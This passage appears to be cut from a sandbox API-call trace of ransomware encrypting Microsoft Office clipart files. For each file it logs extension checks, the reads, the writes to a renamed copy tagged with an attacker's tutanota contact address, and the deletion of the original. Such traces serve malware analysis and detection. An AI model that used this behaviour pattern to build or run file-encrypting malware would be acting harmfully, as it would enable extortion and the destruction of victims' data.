(lpString1=".rar", lpString2=".WMF") returned -1 [0222.556] lstrlenW (lpString=".bz2") returned 4 [0222.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.556] lstrlenW (lpString=".7z") returned 3 [0222.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0222.556] lstrlenW (lpString=".dbf") returned 4 [0222.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0222.556] lstrlenW (lpString=".1cd") returned 4 [0222.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0222.556] lstrlenW (lpString=".jpg") returned 4 [0222.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.556] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2616) returned 1 [0222.556] CloseHandle (hObject=0x208) returned 1 [0222.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0222.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0222.557] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.557] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.557] GetLastError () returned 0x0 [0222.557] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xa38, lpOverlapped=0x0) returned 1 [0222.581] WriteFile (in: hFile=0x228, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xa40, lpOverlapped=0x0) returned 1 [0222.582] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.582] WriteFile (in: hFile=0x228, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.582] SetEndOfFile (hFile=0x228) returned 1 [0222.582] CloseHandle (hObject=0x228) returned 1 [0222.582] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.582] SetEndOfFile (hFile=0x208) returned 1 [0222.583] CloseHandle (hObject=0x208) returned 1 [0222.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0222.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0222.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0222.583] lstrlenW (lpString=".doc") returned 4 [0222.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.583] lstrlenW (lpString=".docx") returned 5 [0222.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.583] lstrlenW (lpString=".pdf") returned 4 [0222.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.583] lstrlenW (lpString=".xls") returned 4 [0222.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.584] lstrlenW (lpString=".xlsx") returned 5 [0222.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.584] lstrlenW (lpString=".ppt") returned 4 [0222.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0222.584] lstrlenW (lpString=".zip") returned 4 [0222.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.584] lstrlenW (lpString=".rar") returned 4 [0222.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.584] lstrlenW (lpString=".bz2") returned 4 [0222.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.584] lstrlenW (lpString=".7z") returned 3 [0222.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0222.584] lstrlenW (lpString=".dbf") returned 4 [0222.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0222.584] lstrlenW (lpString=".1cd") returned 4 [0222.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0222.584] lstrlenW (lpString=".jpg") returned 4 [0222.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.584] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=26706) returned 1 [0222.584] CloseHandle (hObject=0x208) returned 1 [0222.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0222.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0222.585] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.585] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.585] GetLastError () returned 0x0 [0222.585] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x6852, lpOverlapped=0x0) returned 1 [0222.586] WriteFile (in: hFile=0x228, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x6860, lpOverlapped=0x0) returned 1 [0222.587] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.587] WriteFile (in: hFile=0x228, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.587] SetEndOfFile (hFile=0x228) returned 1 [0222.588] CloseHandle (hObject=0x228) returned 1 [0222.588] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.588] SetEndOfFile (hFile=0x208) returned 1 [0222.588] CloseHandle (hObject=0x208) returned 1 [0222.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0222.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0222.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0222.589] lstrlenW (lpString=".doc") returned 4 [0222.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.589] lstrlenW (lpString=".docx") returned 5 [0222.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.589] lstrlenW (lpString=".pdf") returned 4 [0222.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.589] lstrlenW (lpString=".xls") returned 4 [0222.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.589] lstrlenW (lpString=".xlsx") returned 5 [0222.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.589] lstrlenW (lpString=".ppt") returned 4 [0222.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0222.589] lstrlenW (lpString=".zip") returned 4 [0222.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.589] lstrlenW (lpString=".rar") returned 4 [0222.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.589] lstrlenW (lpString=".bz2") returned 4 [0222.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.589] lstrlenW (lpString=".7z") returned 3 [0222.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0222.589] lstrlenW (lpString=".dbf") returned 4 [0222.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0222.589] lstrlenW (lpString=".1cd") returned 4 [0222.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0222.590] lstrlenW (lpString=".jpg") returned 4 [0222.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.590] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2704) returned 1 [0222.590] CloseHandle (hObject=0x208) returned 1 [0222.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0222.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0222.590] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.590] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.591] GetLastError () returned 0x0 [0222.591] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xa90, lpOverlapped=0x0) returned 1 [0222.593] WriteFile (in: hFile=0x228, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xaa0, lpOverlapped=0x0) returned 1 [0222.593] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.593] WriteFile (in: hFile=0x228, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.593] SetEndOfFile (hFile=0x228) returned 1 [0222.594] CloseHandle (hObject=0x228) returned 1 [0222.594] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.594] SetEndOfFile (hFile=0x208) returned 1 [0222.594] CloseHandle (hObject=0x208) returned 1 [0222.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0222.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0222.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0222.595] lstrlenW (lpString=".doc") returned 4 [0222.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.595] lstrlenW (lpString=".docx") returned 5 [0222.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.595] lstrlenW (lpString=".pdf") returned 4 [0222.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.595] lstrlenW (lpString=".xls") returned 4 [0222.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.595] lstrlenW (lpString=".xlsx") returned 5 [0222.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.595] lstrlenW (lpString=".ppt") returned 4 [0222.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0222.595] lstrlenW (lpString=".zip") returned 4 [0222.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.595] lstrlenW (lpString=".rar") returned 4 [0222.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.595] lstrlenW (lpString=".bz2") returned 4 [0222.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.595] lstrlenW (lpString=".7z") returned 3 [0222.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0222.595] lstrlenW (lpString=".dbf") returned 4 [0222.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0222.595] lstrlenW (lpString=".1cd") returned 4 [0222.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0222.596] lstrlenW (lpString=".jpg") returned 4 [0222.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.596] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1324) returned 1 [0222.596] CloseHandle (hObject=0x208) returned 1 [0222.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0222.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0222.596] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.596] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.867] GetLastError () returned 0x0 [0222.867] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x52c, lpOverlapped=0x0) returned 1 [0222.924] WriteFile (in: hFile=0x228, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x530, lpOverlapped=0x0) returned 1 [0222.924] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.925] WriteFile (in: hFile=0x228, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.925] SetEndOfFile (hFile=0x228) returned 1 [0223.277] CloseHandle (hObject=0x228) returned 1 [0223.277] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.277] SetEndOfFile (hFile=0x208) returned 1 [0223.383] CloseHandle (hObject=0x208) returned 1 [0223.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0223.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0223.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0223.752] lstrlenW (lpString=".doc") returned 4 [0223.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0223.752] lstrlenW (lpString=".docx") returned 5 [0223.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0223.752] lstrlenW (lpString=".pdf") returned 4 [0223.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0223.752] lstrlenW (lpString=".xls") returned 4 [0223.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0223.752] lstrlenW (lpString=".xlsx") returned 5 [0223.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0223.752] lstrlenW (lpString=".ppt") returned 4 [0223.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0223.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0223.752] lstrlenW (lpString=".zip") returned 4 [0223.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0223.752] lstrlenW (lpString=".rar") returned 4 [0223.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0223.752] lstrlenW (lpString=".bz2") returned 4 [0223.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0223.752] lstrlenW (lpString=".7z") returned 3 [0223.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0223.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0223.752] lstrlenW (lpString=".dbf") returned 4 [0223.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0223.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0223.752] lstrlenW (lpString=".1cd") returned 4 [0223.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0223.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0223.752] lstrlenW (lpString=".jpg") returned 4 [0223.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.307] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.307] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.308] GetLastError () returned 0x0 [0224.308] ReadFile (in: hFile=0x218, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x764, lpOverlapped=0x0) returned 1 [0224.508] WriteFile (in: hFile=0x16c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x770, lpOverlapped=0x0) returned 1 [0224.509] ReadFile (in: hFile=0x218, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.509] WriteFile (in: hFile=0x16c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.509] SetEndOfFile (hFile=0x16c) returned 1 [0224.509] CloseHandle (hObject=0x16c) returned 1 [0224.509] SetFilePointerEx (in: hFile=0x218, 